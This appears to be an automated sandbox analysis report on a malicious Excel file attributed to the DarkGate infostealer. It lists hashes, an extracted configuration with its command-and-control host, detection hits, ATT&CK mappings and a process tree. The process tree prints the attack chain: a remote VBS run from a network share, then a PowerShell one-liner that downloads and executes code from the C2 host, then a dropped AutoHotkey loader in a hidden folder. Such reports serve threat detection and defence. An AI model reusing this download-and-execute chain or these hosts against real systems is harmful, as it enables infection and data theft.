darkgate | 356046c5af6ac3b209ff92daa9d12a549846cdd5556fc20296d4d73384f7a8f6

General

Target

356046c5af6ac3b209ff92daa9d12a549846cdd5556fc20296d4d73384f7a8f6.xlsx
Size

56KB
MD5

d2c56b42e6814069b4a9e9cb0aa67e00
SHA1

11ba553e5d38d1091dc62c528487704d7e239a45
SHA256

356046c5af6ac3b209ff92daa9d12a549846cdd5556fc20296d4d73384f7a8f6
SHA512

d85a7609c44f297da8f042e9ecfa9b705a547a88d9793152f6be830b83227d9fce5985db3835a82563f99c8b3f21a1655cf6bd2d4904a3bfb6c9d614965e9130
SSDEEP

1536:Fkws9oLE3Ow6DyPgMUti9xx7bxNfI5ydaRLgIui3pqDyBROnlTx:FSoEOfEgMNdxI5yYhgu5zBRY1

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

badbutperfect.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
WZqqpfdY
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/1588-66-0x0000000004AF0000-0x0000000004B63000-memory.dmp	family_darkgate_v6
behavioral2/memory/1588-68-0x0000000004AF0000-0x0000000004B63000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2452	4576	WScript.exe	86

Blocklisted process makes network request 4 IoCs

flow	pid	Process
76	4344	powershell.exe
78	4344	powershell.exe
96	4344	powershell.exe
98	4344	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
1588	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4576	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4344	powershell.exe
4344	powershell.exe
4344	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4344	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4576	EXCEL.EXE
4576	EXCEL.EXE
4576	EXCEL.EXE
4576	EXCEL.EXE
4576	EXCEL.EXE
4576	EXCEL.EXE
4576	EXCEL.EXE
4576	EXCEL.EXE
4576	EXCEL.EXE
4576	EXCEL.EXE
4576	EXCEL.EXE
4576	EXCEL.EXE

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4576 wrote to memory of 2452	4576	EXCEL.EXE	100
PID 4576 wrote to memory of 2452	4576	EXCEL.EXE	100
PID 2452 wrote to memory of 4344	2452	WScript.exe	101
PID 2452 wrote to memory of 4344	2452	WScript.exe	101
PID 4344 wrote to memory of 1588	4344	powershell.exe	111
PID 4344 wrote to memory of 1588	4344	powershell.exe	111
PID 4344 wrote to memory of 1588	4344	powershell.exe	111
PID 4344 wrote to memory of 4972	4344	powershell.exe	112
PID 4344 wrote to memory of 4972	4344	powershell.exe	112

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4972	attrib.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\356046c5af6ac3b209ff92daa9d12a549846cdd5556fc20296d4d73384f7a8f6.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4576
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4344
  - - C:\rimz\AutoHotkey.exe
      "C:\rimz\AutoHotkey.exe" script.ahk
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:1588
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:/rimz
      4⤵
      Views/modifies file attributes
      PID:4972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_245rftao.flp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\rimz\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

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C:\rimz\script.ahk

Filesize
54KB

MD5
f02f0bba1f1f678da41abafd02f4c545

SHA1
c40b80bc4947d4ac52bc9c17d6d218b1fa9cd452

SHA256
5aac7d31149048763e688878c3910ae4881826db80e078754f5d08f2c1f39572

SHA512
8b56e388781a9fb855d8352f2cf175a7e0c5bb36bacd79be719ffa0c9f4c9f6e852bd460b6e9b0b7ea47ff38aa803e43a2366bf7a2686905c05bdd9e231b5b22

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C:\rimz\test.txt

Filesize
915KB

MD5
4e1b052f107d2ee5321b44fc0e107638

SHA1
679e1f8006a2d6ed61f0dbaf5e9d3cd252421cd4

SHA256
a39dba6db04a85050ba7949881769f4b006b4a8edf691a605bfa5fe7c24d3489

SHA512
5c4d1907ef2cbc894e8e33d268160a88e9db2d1a081676cba9d8fcfda4c120458a2ed90d44b2963accc842b03fac9bf231145d5991899bf6ab4871d9b65c2cb1

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memory/1588-68-0x0000000004AF0000-0x0000000004B63000-memory.dmp

Filesize
460KB

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memory/1588-66-0x0000000004AF0000-0x0000000004B63000-memory.dmp

Filesize
460KB

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memory/4344-65-0x00007FFFF5C70000-0x00007FFFF6731000-memory.dmp

Filesize
10.8MB

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memory/4344-48-0x000001C0D7510000-0x000001C0D76D2000-memory.dmp

Filesize
1.8MB

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memory/4344-47-0x000001C0BEE00000-0x000001C0BEE10000-memory.dmp

Filesize
64KB

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memory/4344-45-0x000001C0BEE00000-0x000001C0BEE10000-memory.dmp

Filesize
64KB

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memory/4344-44-0x000001C0BEE00000-0x000001C0BEE10000-memory.dmp

Filesize
64KB

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memory/4344-43-0x00007FFFF5C70000-0x00007FFFF6731000-memory.dmp

Filesize
10.8MB

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memory/4344-38-0x000001C0BEDD0000-0x000001C0BEDF2000-memory.dmp

Filesize
136KB

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memory/4576-7-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp

Filesize
64KB

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memory/4576-10-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-15-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-16-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-17-0x00007FF7DEAC0000-0x00007FF7DEAD0000-memory.dmp

Filesize
64KB

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memory/4576-18-0x00007FF7DEAC0000-0x00007FF7DEAD0000-memory.dmp

Filesize
64KB

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memory/4576-31-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-32-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-13-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-12-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-11-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-14-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-9-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-46-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-1-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-8-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-6-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-3-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp

Filesize
64KB

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memory/4576-5-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp

Filesize
64KB

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memory/4576-4-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

Filesize
2.0MB

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memory/4576-2-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp

Filesize
64KB

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memory/4576-0-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp

Filesize
64KB

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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